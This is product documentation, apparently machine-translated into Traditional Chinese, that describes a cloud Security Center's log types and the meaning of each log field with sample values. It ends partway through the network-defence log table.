Security Center的日誌類別和欄位含義 - Security Center

查看Security Center日誌可以幫您及時發現、調查和響應安全事件。購買日誌分析儲存容量後，Security Center預設開啟了安全日誌、部落格、主機日誌，分別記錄系統中的安全事件、網路流量情況和主機的活動。本文介紹Security Center日誌字典V1.0支援的日誌類型以及每種日誌類型的欄位說明。

不同版本支援記錄的日誌類型

Security Center不同版本支援的安全能力不同，可記錄的日誌類型不同。全量購買情境下，根據您購買的Security Center版本記錄支援的日誌類型。非全量購買情境下（支援授權數管理），按照伺服器綁定的版本記錄伺服器中對應的日誌類型。不同版本支援記錄的日誌類型如下：

版本	支援記錄的日誌類型
企業版、旗艦版	Security Center支援的所有日誌類型。
防病毒版、進階版	所有主機日誌和安全日誌。
未綁定授權伺服器	部落格說明僅支援記錄購買企業版或旗艦版使用者未綁定授權伺服器的部落格。不支援記錄購買防病毒版或進階版使用者未綁定授權伺服器的部落格。 Web訪問日誌 DNS解析日誌網路會話日誌本地DNS日誌主機日誌用戶端事件記錄安全日誌漏洞日誌（僅記錄免費版支援的漏洞）安全警示日誌（僅記錄免費版支援的警示）雲平台配置檢查日誌（僅使用雲平台配置檢查功能後記錄日誌）應用防護日誌（僅使用應用防護功能後記錄日誌）惡意檔案檢測日誌（僅使用惡意檔案檢測功能後記錄日誌）核心檔案監控事件記錄（僅使用核心檔案監控功能後記錄上報的警示事件）

日誌分類

部落格

說明

全球（不含中國）地區不支援查看部落格。

日誌類型	__topic__	描述	採集周期
Web訪問日誌	sas-log-http	記錄使用者請求Web伺服器和Web伺服器響應的日誌，包括HTTP請求的詳細資料，例如使用者IP地址、請求時間、要求方法、請求URL、HTTP狀態代碼、響應大小等。 Web訪問日誌通常用於分析Web流量和使用者行為、識別訪問模式和異常情況、最佳化網站效能等。	資料延遲採集，延遲時間一般為：1~12小時
DNS解析日誌	sas-log-dns	記錄DNS解析過程詳細資料的日誌，包括請求網域名稱、查詢類型、用戶端IP地址、響應值等資訊。通過分析DNS解析日誌，您可以瞭解DNS解析的請求和響應過程，檢測異常的解析行為、DNS劫持、DNS汙染等問題。
本地DNS日誌	local-dns	記錄在本地DNS伺服器上的DNS查詢和響應的日誌，包括本地DNS請求和響應的詳細資料，包括請求網域名稱、查詢類型、用戶端IP地址、響應值等。通過本地DNS日誌，您可以瞭解網路中的DNS查詢活動，檢測異常的查詢行為、網域名稱劫持和DNS汙染等問題
網路會話日誌	sas-log-session	記錄網路連接和資料轉送的日誌，包括網路會話的詳細資料，如會話開始時間、雙方IP地址、使用的協議和連接埠等。網路會話日誌通常用於監控網路流量、識別潛在威脅、最佳化網路效能等。

主機日誌

日誌類型	__topic__	描述	採集周期
登入流水日誌	aegis-log-login	記錄使用者登入伺服器的日誌，包括登入時間、登入使用者、登入方式、登入IP地址等資訊。登入流水日誌可以協助您監控使用者的活動，及時識別和響應異常行為，從而保障系統的安全性。說明 Security Center不支援Windows Server 2008作業系統的登入流水日誌。	即時採集。
網路連接日誌	aegis-log-network	記錄網路連接活動的日誌，包括伺服器串連五元組、連線時間、串連狀態等資訊。網路連接日誌可以協助您發現異常串連行為，識別潛在的網路攻擊，最佳化網路效能等。說明伺服器只收集網路連接從建立到結束過程中的部分狀態。入向流量不記錄。	即時採集。
進程開機記錄	aegis-log-process	記錄伺服器上進程啟動相關的日誌，包括進程啟動時間、啟動命令、參數等資訊。通過記錄和分析進程開機記錄，您可以瞭解系統中進程的啟動情況和配置資訊，檢測異常進程活動、惡意軟體入侵和安全威脅等問題。	即時採集，進程啟動立刻上報。
暴力破解日誌	aegis-log-crack	記錄暴力破解行為的日誌，包括嘗試登入及破解系統、應用程式或帳號的資訊。通過記錄和分析暴力破解日誌，您可以瞭解系統或應用程式受到的暴力破解攻擊，檢測異常的登入嘗試、弱密碼和憑證泄露等問題。暴力破解日誌還可以用於追蹤惡意使用者和取證分析，協助安全團隊進行事件響應和調查工作。	即時採集。
帳號快照日誌	aegis-snapshot-host	記錄系統或應用程式中使用者帳號詳細資料的日誌，包括帳號的基本屬性，例如使用者名稱、密碼原則、登入歷史等。通過比較不同時間點的帳號快照日誌，您可以瞭解使用者帳號的變化和演變情況，及時檢測潛在的帳號安全問題，例如未授權的帳號訪問、異常的帳號狀態等。	開啟資產指紋自動採集功能時，按照設定的周期自動採集。資產指紋自動採集的更多資訊，請參見資產指紋調查。未開啟資產指紋自動採集功能時，每台伺服器一天非固定時間收集一次。
網路快照日誌	aegis-snapshot-port	記錄網路連接的日誌，包括串連五元組、串連狀態及關聯的進程資訊等欄位。通過記錄和分析網路連接快照日誌，您可以瞭解系統中活動的網路通訊端情況，協助您發現異常串連行為，識別潛在的網路攻擊，最佳化網路效能等。
進程快照日誌	aegis-snapshot-process	記錄系統中進程活動的日誌，包括進程ID、進程名稱、進程啟動時間等資訊。通過記錄和分析進程快照日誌，您可以瞭解系統中進程的活動情況、資源佔用情況，檢測異常進程、CPU佔用和記憶體泄露等問題。
DNS請求日誌	aegis-log-dns-query	記錄DNS查詢請求的日誌，包括伺服器發送DNS查詢請求的詳細資料，例如查詢的網域名稱、查詢類型、查詢來源等資訊。通過分析DNS請求日誌，您可以瞭解網路中的DNS查詢活動，檢測異常的查詢行為、網域名稱劫持和DNS汙染等問題	即時採集。
用戶端事件記錄	aegis-log-client	記錄Security Center用戶端的上線和離線事件。	即時採集。

安全日誌類型

日誌類型	__topic__	描述	採集周期
漏洞日誌	sas-vul-log	記錄系統或應用程式中發現的漏洞相關資訊的日誌，包括漏洞名稱、漏洞狀態、處理動作等資訊。通過記錄和分析漏洞日誌，您可以瞭解系統中存在的漏洞情況、安全風險和攻擊趨勢，及時採取相應的補救措施。	即時採集。
基準日誌	sas-hc-log	記錄基準風險檢查結果的日誌，包括基準等級、基準類別、風險等級等資訊。通過記錄和分析基準風險日誌，您可以瞭解系統的基準安全狀態和潛在的風險。說明僅記錄首次出現且未通過的檢查項資料，以及在歷史檢測中已通過但重新檢測後未通過的檢查項資料。
安全警示日誌	sas-security-log	記錄系統或應用程式中發生的安全事件和警示資訊的日誌，包括警示資料來源、警示詳情、警示等級等資訊。通過記錄和分析安全警示日誌，您可以瞭解系統中的安全事件和威脅情況，及時採取相應的響應措施。
雲平台配置檢查日誌	sas-cspm-log	記錄雲平台配置檢查相關的日誌，包括雲平台配置檢查的檢查結果、加白操作等資訊。通過記錄和分析雲平台配置檢查日誌，您可以瞭解雲平台中存在的配置問題和潛在的安全風險。
網路防禦日誌	sas-net-block	記錄網路攻擊事件的日誌，包括攻擊類型、源IP地址、目標IP地址等關鍵資訊。通過記錄和分析網路防禦日誌，您可以瞭解網路中發生的安全事件，進而採取相應的響應和防禦措施，提高網路的安全性和可靠性。
應用防護日誌	sas-rasp-log	記錄應用防護功能的攻擊警示資訊的日誌，包括攻擊類型、行為資料、攻擊者IP等關鍵資訊。通過記錄和分析應用防護警示日誌，您可以瞭解應用程式中發生的安全事件，進而採取相應的響應和防禦措施，提高應用程式的安全性和可靠性。
惡意檔案檢測日誌	sas-filedetect-log	記錄使用惡意檔案檢測SDK進行惡意檔案檢測的日誌，包括惡意檔案檢測的檔案資訊、檢測情境、檢測結果等資訊。通過記錄和分析惡意檔案檢測日誌，您可以識別離線檔案和阿里雲OSS檔案中存在的常見病毒，例如勒索病毒、挖礦程式等，及時處理以防止惡意檔案傳播和執行。

部落格欄位說明

重要

僅Security Center企業版、旗艦版支援部落格。

Web訪問日誌

欄位名	說明	樣本
content_length	返回的訊息實體的長度。單位為：Byte。	612
dst_ip	目標主機的IP地址。	39.105.XX.XX
dst_port	目標主機的連接埠。	80
host	訪問的對向主機的IP地址或網域名稱。	39.105.XX.XX
jump_location	重新導向地址。	123
method	HTTP請求方式。	GET
referer	用戶端向伺服器發送請求時的HTTP referer，告知伺服器訪問來源的HTTP串連。	www.example.com
request_datetime	請求時間。	2023-08-07 22:42:41
ret_code	伺服器對請求的響應狀態代碼。	200
rqs_content_type	請求內容類型。	text/plain;charset=utf-8
rsp_content_type	響應內容類型。	text/plain; charset=utf-8
src_ip	訪問源的IP地址。	31.220.XX.XX
src_port	訪問源的連接埠。	59524
uri	請求URI。	/report
user_agent	向用戶端發起的請求。	okhttp/3.2.0
x_forward_for	HTTP要求標頭欄位，記錄用戶端的真實IP地址。	31.220.XX.XX

DNS解析日誌

欄位名	說明	樣本
additional	DNS伺服器返回的附加資源記錄的資訊，例如CNAME記錄、MX記錄、PTR記錄等。	無
additional_num	DNS伺服器返回的附加資源記錄的數量。	0
answer	DNS伺服器返回的回答資訊，指示查詢主機的具體解析結果。回答資訊包含了請求網域名稱對應的IP地址或其他相關資訊，例如A記錄、AAAA記錄等。	example.com A IN 52 1.2.XX.XX
answer_num	DNS伺服器返回的回答資訊的數量。	1
authority	DNS伺服器返回的權威記錄資訊，指示負責管理和提供該網域名稱解析的DNS伺服器。權威記錄包含了對請求網域名稱進行授權的DNS伺服器的資訊，例如NS記錄。	NS IN 17597
authority_num	DNS伺服器返回的權威記錄的數量。	1
client_subnet	DNS用戶端的子網路遮罩資訊。	59.152.XX.XX
dst_ip	目的IP。	106.55.XX.XX
dst_port	目的連接埠。	53
in_out	DNS請求的資料轉送方向，取值： in：進入DNS伺服器的請求。 out：DNS伺服器發出的響應。	out
qid	查詢ID。	13551
qname	DNS解析請求的查詢網域名稱。	example.com
qtype	DNS解析請求的查詢類型。	A
query_datetime	DNS解析請求的時間。	2023-08-25 09:59:15
rcode	DNS伺服器返回的響應代碼，指示DNS解析結果。	0
region	來源地區ID。取值： 1：北京。 2：青島。 3：杭州。 4：上海。 5：深圳。 6：其他。	1
response_datetime	DNS伺服器返迴響應的時間。	2023-08-25 09:59:16
src_ip	源IP地址。	106.11.XX.XX
src_port	源連接埠。	22

本地DNS日誌

欄位名	說明	樣本
answer_rda	DNS回答的RDA（Resource Data Area）欄位，表示解析結果的具體值。	106.11.XX.XX
answer_ttl	DNS回答的TTL（Time to Live）欄位，表示解析結果的存留時間，單位為秒。	600
answer_type	DNS響應的記錄類型，以下是常見的DNS響應類型取值： 1：A記錄。 2：NS記錄。 5：CNAME記錄。 6：SOA記錄。 10：NULL記錄。 12：PTR記錄。 15：MX記錄。 16：TXT記錄。 25：KEY記錄。 28：AAAA記錄。 33：SRV記錄。 41：OPT記錄。 43：DS記錄。 44：SSHFP記錄。 45：IPSECKEY記錄。 46：RRSIG記錄。 47：NSEC記錄。	1
anwser_name	DNS回答的記錄名稱，表示與資源記錄關聯的網域名稱。	example.com
dest_ip	目的IP地址，表示請求發往的IP地址，預設為十進位IP地址格式。	323223****
dest_port	目的連接埠，表示請求發往的連接埠號碼。	53
group_id	分組ID。相同的分組ID表示相同的DNS請求或響應。	3
hostname	主機名稱。	hostname
id	查詢ID，用於唯一標識DNS請求或響應。	64588
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
internet_ip	DNS請求或響應的公網IP地址。	121.40.XX.XX
ip_ttl	DNS請求或響應中IP資料包的TTL值。	64
query_name	查詢的網域名稱。	example.com
query_type	DNS解析請求的查詢類型。取值： 1：A記錄。 2：NS記錄。 5：CNAME記錄。 6：SOA記錄。 10：NULL記錄。 12：PTR記錄。 15：MX記錄。 16：TXT記錄。 25：KEY記錄。 28：AAAA記錄。 33：SRV記錄。	1
src_ip	發起DNS請求或響應的IP地址，預設為十進位IP地址格式。	168427****
src_port	發起DNS請求或響應的連接埠號碼。	53
time	DNS請求或響應的時間戳記，單位為秒。	1537840756
time_usecond	DNS請求或響應的時間戳記，單位為微秒。	49069
tunnel_id	DNS請求或響應所使用的隧道ID，用於唯一標識一個網路隧道。網路隧道是一種通過不同的網路通訊協定來傳輸資料的方式，可以用於安全訪問互連網或跨越不同網路的通訊。	514763

網路會話日誌

欄位名	說明	樣本
asset_type	產生日誌的資產。取值： ECS：Elastic Compute Service。 SLB：Server Load Balancer。 NAT：NAT Gateway。	ECS
dst_ip	目標IP地址。	119.96.XX.XX
dst_port	目標連接埠。	443
in_out	網路會話的資料轉送方向。固定取值為out。通訊協定為TCP時，表示從阿里雲內到阿里雲外發起的請求。通訊協定為UDP時，不代表請求的實際方向，僅供參考。	out
proto	協議類型。取值： tcp。 udp。	tcp
session_time	網路會話的開始時間。	2023-08-15 09:59:49
src_ip	源IP地址。	121.40.XX.XX
src_port	源連接埠。	53602

主機日誌欄位說明

登入流水日誌

欄位名	說明	樣本
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
ip	伺服器的IP地址。	192.168.XX.XX
sas_group_name	伺服器在Security Center的資產分組。	default
uuid	伺服器的UUID。	5d83b26b-b7ca-4a0a-9267-12****
warn_ip	登入伺服器的IP地址。	221.11.XX.XX
warn_port	登入伺服器的連接埠。	22
warn_type	登入類型。取值： SSHLOGIN、SSH：SSH登入。 RDPLOGIN：遠端桌面登入。 IPCLOGIN：IPC串連登入。	SSH
warn_user	登入使用者名稱。	admin
warn_count	登入次數。 1分鐘內重複登入會被合并為1條日誌，例如`warn_count`值為3，表示在最近1分鐘內重複登入了3次。	3

網路連接日誌

欄位名	說明	樣本
cmd_chain	進程鏈。	[ { "9883":"bash -c kill -0 -- -'6274'" } ...... ]
cmd_chain_index	進程鏈索引，可以通過相同索引尋找進程鏈。	B184
container_hostname	容器內伺服器名稱。	nginx-ingress-controller-765f67fd4d-****
container_id	容器ID。	4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****
container_image_id	鏡像ID。	registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****
container_image_name	鏡像名稱。	registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****
container_name	容器名稱。	nginx-ingress-****
container_pid	容器內進程ID。	0
dir	網路連接方向。取值： in：入方向。 out：出方向。	in
dst_ip	網路連接接收者的IP。 dir為out時，表示對端主機。 dir為in時，表示本機。	192.168.XX.XX
dst_port	網路連接接收者的連接埠。	443
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
ip	伺服器IP地址。	192.168.XX.XX
parent_proc_file_name	父進程的檔案名稱。	/usr/bin/bash
pid	進程ID。	14275
ppid	父進程ID。	14268
proc_name	進程名。	nginx
proc_path	進程路徑。	/usr/local/nginx/sbin/nginx
proc_start_time	進程的啟動時間。	N/A
proto	協議。取值： tcp。 udp。 raw（表示raw socket）。	tcp
sas_group_name	伺服器在Security Center的資產分組。	default
src_ip	源IP地址。	100.127.XX.XX
src_port	源連接埠。	41897
srv_comm	父進程的父進程關聯的命令名。	containerd-shim
status	網路連接狀態。取值： 1：串連已關閉（closed）。 2：正在等待串連請求（listen）。 3：已發送SYN請求（syn send）。 4：已接收SYN請求（syn recv）。 5：串連已建立（established）。 6：等待關閉串連（close wait）。 7：正在關閉串連（closing）。 8：等待對方發送關閉請求（fin_wait1）。 9：等待對方發送關閉請求並確認（fin_wait2）。 10：等待足夠的時間以確保對方收到關閉請求的確認（time_wait）。 11：已刪除傳輸控制塊（delete_tcb）。	5
type	即時網路連接的類型。取值： connect：主動發起TCP connect串連。 accept：收到TCP串連。 listen：連接埠監聽。	listen
uid	進程使用者的ID。	101
username	進程的使用者名稱。	root
uuid	伺服器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

進程開機記錄

欄位名	說明	樣本
cmd_chain	進程鏈。	[ { "9883":"bash -c kill -0 -- -'6274'" } ...... ]
cmd_chain_index	進程鏈索引，可以通過相同索引尋找進程鏈。	B184
cmd_index	命令列每個參數的索引，每兩個為一組，標識一個參數的起止索引。	0,3,5,8
cmdline	進程啟動的完整命令列。	ipset list KUBE-6-CLUSTER-IP
comm	進程關聯的命令名。	N/A
container_hostname	容器內伺服器名稱。	nginx-ingress-controller-765f67fd4d-****
container_id	容器ID。	4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****
container_image_id	鏡像ID。	registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****
container_image_name	鏡像名稱。	registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****
container_name	容器名稱。	nginx-ingress-****
containerpid	容器內進程ID。	0
cwd	進程運行目錄。	N/A
filename	進程檔案名稱。	ipset
filepath	進程檔案完整路徑。	/usr/sbin/ipset
gid	進程組的ID。	0
groupname	使用者組。	group1
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
ip	伺服器IP地址。	192.168.XX.XX
parent_cmd_line	父進程的命令列。	/usr/local/bin/kube-proxy --config=/var/lib/kube-proxy/config.conf --hostname-override=cn-beijing.192.168.XX.XX
pfilename	父進程檔案名稱。	kube-proxy
pfilepath	父進程檔案完整路徑。	/usr/local/bin/kube-proxy
pid	進程ID。	14275
ppid	父進程ID。	14268
pstime	父進程的啟動時間。	2023-08-09 14:19:00
sas_group_name	伺服器在Security Center的資產分組。	default
srv_cmd	祖進程的命令列。	/usr/bin/containerd
tty	登入的終端。N/A表示帳號從未登入過終端。	N/A
uid	使用者ID。	123
uid	進程使用者的ID。	101
username	進程的使用者名稱。	root
uuid	伺服器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

暴力破解日誌

欄位名	說明	樣本
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
ip	被暴力破解的伺服器IP地址。	192.168.XX.XX
sas_group_name	伺服器在Security Center的資產分組。	default
uuid	被暴力破解的伺服器UUID。	5d83b26b-b7ca-4a0a-9267-12*****
warn_count	失敗登入次數。 1分鐘內重複登入會被合并為1條日誌，例如`warn_count`值為3，表示在最近1分鐘內重複登入了3次。	3
warn_ip	登入來源IP地址。	47.92.XX.XX
warn_port	登入連接埠。	22
warn_type	登入類型。取值： SSHLOGIN、SSH：SSH登入。 RDPLOGIN：遠端桌面登入。 IPCLOGIN：IPC串連登入。	SSH
warn_user	登入使用者名稱。	user

帳號快照日誌

欄位名	說明	樣本
account_expire	帳號的到期時間。never表示永不到期。	never
domain	帳號所在的域或目錄服務。N/A表示不屬於任何域。	N/A
groups	帳號所在的分組。N/A表示不屬於任何組。	["nscd"]
home_dir	主目錄，系統中儲存和管理檔案的預設位置。	/Users/abc
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
ip	伺服器IP地址。	192.168.XX.XX
last_chg	最後一次修改密碼的日期。	2022-11-29
last_logon	最後一次登入帳號的日期和時間。N/A表示從未登入過。	2023-08-18 09:21:21
login_ip	最後一次登入帳號的遠程IP地址。N/A表示從未登入過。	192.168.XX.XX
passwd_expire	密碼的到期日期。never表示永不到期。	2024-08-24
perm	是否擁有root許可權。取值： 0：沒有root許可權。 1：有root許可權。	0
sas_group_name	伺服器在Security Center的資產分組。	default
shell	Linux的Shell命令。	/sbin/nologin
status	使用者帳號的狀態，取值： 0：帳號已被禁止登入。 1：帳號可以正常登入。	0
tty	登入的終端。N/A表示帳號從未登入過終端。	N/A
user	使用者名稱稱。	nscd
uuid	伺服器的UUID。	5d83b26b-b7ca-4a0a-9267-12****
warn_time	密碼到期提醒日期。never表示永不提醒。	2024-08-20

網路快照日誌

欄位名	說明	樣本
dir	網路連接方向。取值： in：入方向。 out：出方向。	in
dst_ip	網路連接接收者的IP。 dir為out時，表示對端主機。 dir為in時，表示本機。	192.168.XX.XX
dst_port	網路連接接收者的連接埠。	443
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
ip	伺服器IP地址。	192.168.XX.XX
pid	進程ID。	682
proc_name	進程名。	sshd
proto	協議。取值： tcp4：用IPv4協議的TCP串連。 tcp6：用IPv6協議的TCP串連。 udp4：用IPv4協議的UDP串連。 udp6：用IPv6協議的UDP串連。	tcp4
sas_group_name	伺服器在Security Center的資產分組。	default
src_ip	源IP地址。	100.127.XX.XX
src_port	源連接埠。	41897
status	網路連接狀態。取值： 1：串連已關閉（closed）。 2：正在等待串連請求（listen）。 3：已發送SYN請求（syn send）。 4：已接收SYN請求（syn recv）。 5：串連已建立（established）。 6：等待關閉串連（close wait）。 7：正在關閉串連（closing）。 8：等待對方發送關閉請求（fin_wait1）。 9：等待對方發送關閉請求並確認（fin_wait2）。 10：等待足夠的時間以確保對方收到關閉請求的確認（time_wait）。 11：已刪除傳輸控制塊（delete_tcb）。	5
uuid	伺服器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

進程快照日誌

欄位名	說明	樣本
cmdline	進程啟動的完整命令列。	/usr/local/share/assist-daemon/assist_daemon
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
ip	伺服器IP地址。	192.168.XX.XX
md5	二進位檔案的MD5雜湊值。說明超過1 MB的進程檔案不進行MD5計算。	1086e731640751c9802c19a7f53a64f5
name	進程檔案名稱。	assist_daemon
path	進程檔案完整路徑。	/usr/local/share/assist-daemon/assist_daemon
pid	進程ID。	1692
pname	父進程檔案名稱。	systemd
sas_group_name	伺服器在Security Center的資產分組。	default
start_time	進程啟動時間。內建欄位。	2023-08-18 20:00:12
uid	進程使用者的ID。	101
username	進程的使用者名稱。	root
uuid	伺服器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

DNS請求日誌

欄位名	說明	樣本
domain	DNS請求對應的網域名稱。	example.aliyundoc.com
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
ip	發起DNS請求的伺服器IP地址。	192.168.XX.XX
pid	發起DNS請求的進程ID。	3544
ppid	發起DNS請求的父進程ID。	3408
proc_cmd_chain	發起DNS請求的進程鏈。	"3544":"\"C:\\Program Files (x86)\\Alibaba\\Aegis\\AliDetect\\AliDetect.exe\""
proc_cmdline	發起DNS請求的命令列。	C:\Program Files (x86)\Alibaba\Aegis\AliDetect\AliDetect.exe
proc_path	發起DNS請求的進程路徑。	C:/Program Files (x86)/Alibaba/Aegis/AliDetect/AliDetect.exe
sas_group_name	伺服器在Security Center的資產分組。	default
time	捕獲DNS請求事件的時間，該時間一般和DNS請求發生時間相同。	2023-08-17 20:05:04
uuid	發起DNS請求的伺服器UUID。	5d83b26b-b7ca-4a0a-9267-12****

用戶端事件記錄

欄位名	說明	樣本
uuid	伺服器的UUID。	5d83b26b-b7ca-4a0a-9267-12****
client_ip	伺服器IP地址。	192.168.XX.XX
agent_version	用戶端版本。	aegis_11_91
last_login	上次登入的時間戳記。單位：毫秒。	1716444387617
platform	作業系統類型。取值： windows linux	linux
region_id	伺服器所在地區ID。	cn-beijing
status	用戶端狀態。取值： online offline	online

安全日誌欄位說明

漏洞日誌

欄位名	說明	樣本
alias_name	漏洞別名。	CESA-2023:1335: openssl Security Update
extend_content	漏洞擴充資訊。	{"cveList":["CVE-2023-0286"],"necessity":{"gmt_create":"20230816","connect_cnt":80,"total_score":0.0,"assets_factor":1.0,"enviroment_factor":1.5,"status":"normal"},"os":"centos","osRelease":"7","preCheck":{},"rpmCanUpdate":true,"rpmEntityList":[{"fullVersion":"1.0.2k-25.el7_9","kernel":false,"matchDetail":"openssl-libs version less than 1.0.2k-26.el7_9","matchList":["openssl-libs version less than 1.0.2k-26.el7_9"],"name":"openssl-libs","nextResult":false,"path":"/etc/pki/tls","result":true,"updateCmd":"yum update openssl-libs","version":"1.0.2k-25.el7_9"},{"fullVersion":"1.0.2k-25.el7_9","kernel":false,"matchDetail":"openssl version less than 1.0.2k-26.el7_9","matchList":["openssl version less than 1.0.2k-26.el7_9"],"name":"openssl","nextResult":false,"path":"/etc/pki/CA","result":true,"updateCmd":"yum update openssl","version":"1.0.2k-25.el7_9"}]}
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
internet_ip	資產的公網IP。	39.104.XX.XX
intranet_ip	資產的私網IP。	192.168.XX.XX
machine_name	主機名稱。	hhht-linux-***
name	漏洞名稱。	centos:7:cesa-2023:1335
op	漏洞的處理動作。取值： new：新增。 verify：驗證。 fix：修複。	new
status	狀態資訊。取值： 1：未修複。 2：修複失敗。 3：復原失敗。 4：修複中。 5：復原中。 6：驗證中。 7：修複成功。 8：修複成功，待重啟。 9：復原成功。 10：忽略。 11：復原成功，待重啟。 12：已不存在。 13：已失效。	1
tag	漏洞的標籤。取值： oval：Linux軟體漏洞。 system：Windows系統漏洞。 cms：Web-CMS漏洞。說明其他類型的漏洞的標籤為隨機字串。	oval
type	漏洞類型。取值： sys：windows系統漏洞。 cve：Linux軟體漏洞。 cms：Web-CMS漏洞。 emg：緊急漏洞。	sys
uuid	伺服器UUID。	ad66133a-dc82-4e5e-9659-a49e3****

基準日誌

欄位名	說明	樣本
check_item	檢查項名稱。	設定密碼修改最小間隔時間
check_level	基準的檢查等級。取值： high：高危。 medium：中危。 low：低危。	medium
check_type	檢查項類型。	身份鑒別
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
level	風險項層級。取值： high：高。 medium：中。 low：低。	medium
op	操作資訊。取值： new：新增。 verity：驗證。	new
risk_name	風險項名稱。	密碼原則合規檢測
sas_group_name	檢測出當前風險項的伺服器在Security Center的資產分組。	default
status	狀態資訊。取值： 1：未修複。 2：修複失敗。 3：復原失敗。 4：修複中。 5：復原中。 6：驗證中。 7：修複成功。 8：修複成功，待重啟。 9：復原成功。 10：忽略。 11：復原成功，待重啟。 12：已不存在。 13：已失效。	1
sub_type_alias	子類型別名（中文）。	國際通用安全最佳實務-Ubuntu 16/18/20/22安全基準檢查
sub_type_name	基準子類型名稱。基準子類型取值請參見基準類型及子類型列表。	hc_ubuntu16_cis_rules
type_alias	類型別名（中文）。	國際通用安全最佳實務
type_name	基準類型。基準類型取值請參見基準類型及子類型列表。	cis
uuid	檢測出當前風險項的伺服器UUID。	1ad66133a-dc82-4e5e-9659-a49e3****

安全警示日誌

欄位名	說明	樣本
data_source	資料來源。取值： aegis_suspicious_event：主機異常。 aegis_suspicious_file_v2：Webshell。 aegis_login_log：異常登入。 honeypot：雲蜜罐警示事件。 object_scan：檔案檢測例外狀況事件。 security_event：Security Center例外狀況事件。 sas_ak_leak：AK泄露事件。	aegis_login_log
detail	警示詳情。說明警示類型不同，detail欄位包含的內容也不同。如果您在查看警示日誌時，對detail欄位中的參數有疑問，您可以通過提交工單聯絡技術支援人員。	{"loginSourceIp":"221.11.XX.XX","loginDestinationPort":22,"loginUser":"root","protocol":2,"protocolName":"SSH","clientIp":"192.168.XX.XX","loginTimes":1,"location":"西安市","type":"login_common_account","displayEventName":"ECS非常用帳號登入","status":0}
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
internet_ip	資產的公網IP。	39.104.XX.XX
intranet_ip	資產的私網IP。	192.168.XX.XX
level	警示事件的危險等級。取值： serious：緊急。 suspicious：可疑。 remind：提醒。	suspicious
name	警示名稱。	異常登入-ECS非常用帳號登入
op	操作資訊。取值： new：新增。 dealing：處理。 update：更新。	new
status	警示的狀態。取值： 0：全部。 1：待處理。 2：已忽略。 4：已確認。 8：已標記為誤判。 16：處理中。 32：處理完畢。 64：已經到期。 128：已經刪除。 512：自動攔截中。 513：自動攔截完畢。	1
unique_info	警示的唯一標識。	2536dd765f804916a1fa3b9516b5****
uuid	產生警示的伺服器UUID。	ad66133a-dc82-4e5e-9659-a49e3****

雲平台配置檢查日誌

欄位名	說明	樣本
check_id	檢查項ID。您可以調用ListCheckResult - 查看雲產品中雲平台配置檢查風險項結果詳情介面擷取ID值。	11
check_show_name	檢查項名稱。	回源配置
instance_id	執行個體ID。	i-2zeg4zldn8zypsfg****
instance_name	執行個體名稱。	lsm
instance_result	風險產生的影響。格式為JSON字串。	{"Checks":[{}],"Columns":[{"key":"RegionIdShow","search":true,"searchKey":"RegionIdKey","showName":"Region","type":"text"},{"key":"InstanceIdShow","search":true,"searchKey":"InstanceIdKey","showName":"Instance ID","type":"link"},{"key":"InstanceNameShow","search":true,"searchKey":"InstanceNameKey","showName":"Instance Name","type":"text"}]}
instance_sub_type	執行個體的子類型。取值：當執行個體類型為ECS時，子類型的取值： INSTANCE。 DISK。 SECURITY_GROUP。當執行個體類型為ACR時，子類型的取值： REPOSITORY_ENTERPRISE。 REPOSITORY_PERSON。當執行個體類型為RAM時，子類型的取值： ALIAS。 USER。 POLICY。 GROUP。當執行個體類型為WAF時，子類型的取值為DOMAIN。當執行個體類型為其他值時，子類型的取值為INSTANCE。	INSTANCE
instance_type	執行個體類型。取值： ECS：雲端服務器。 SLB：負載平衡。 RDS：RDS資料庫。 MONGODB：MongoDB資料庫。 KVSTORE：Redis資料庫。 ACR：Container Registry。 CSK：CSK。 VPC：專用網路。 ACTIONTRAIL：Action Trail。 CDN：內容分發網路。 CAS：數位憑證管理服務（原SSL認證）。 RDC：雲效。 RAM：存取控制。 DDOS：DDoS防護。 WAF：Web Application Firewall。 OSS：Object Storage Service。 POLARDB：PolarDB資料庫。 POSTGRESQL：PostgreSQL資料庫。 MSE：微服務引擎。 NAS：檔案儲存體。 SDDP：Sensitive Data Discovery and Protection。 EIP：Elastic IP Address。	ECS
region_id	執行個體所在地區ID。	cn-hangzhou
requirement_id	條例ID。您可以通過ListCheckStandard - 雲平台配置檢查擷取標準列表介面擷取該ID。	5
risk_level	風險層級。取值： LOW。 MEDIUM。 HIGH。	MEDIUM
section_id	章節ID。您可以通過ListCheckResult - 查看雲產品中雲平台配置檢查風險項結果詳情介面擷取ID值。	1
standard_id	標準ID。您可以通過ListCheckStandard - 雲平台配置檢查擷取標準列表介面擷取該ID。	1
status	檢查項的狀態。取值： NOT_CHECK：未檢查。 CHECKING：檢查中。 PASS：檢查通過。 NOT_PASS：檢查未通過。 WHITELIST：已加入白名單。	PASS
vendor	所屬雲廠商。固定取值：ALIYUN。	ALIYUN

網路防禦日誌

欄位名	說明	樣本
cmd	被攻擊的進程命令列。	nginx: master process nginx
cur_time	攻擊事件的發生時間。	2023-09-14 09:21:59
decode_payload	HEX格式轉換為字元的payload。	POST /Services/FileService/UserFiles/
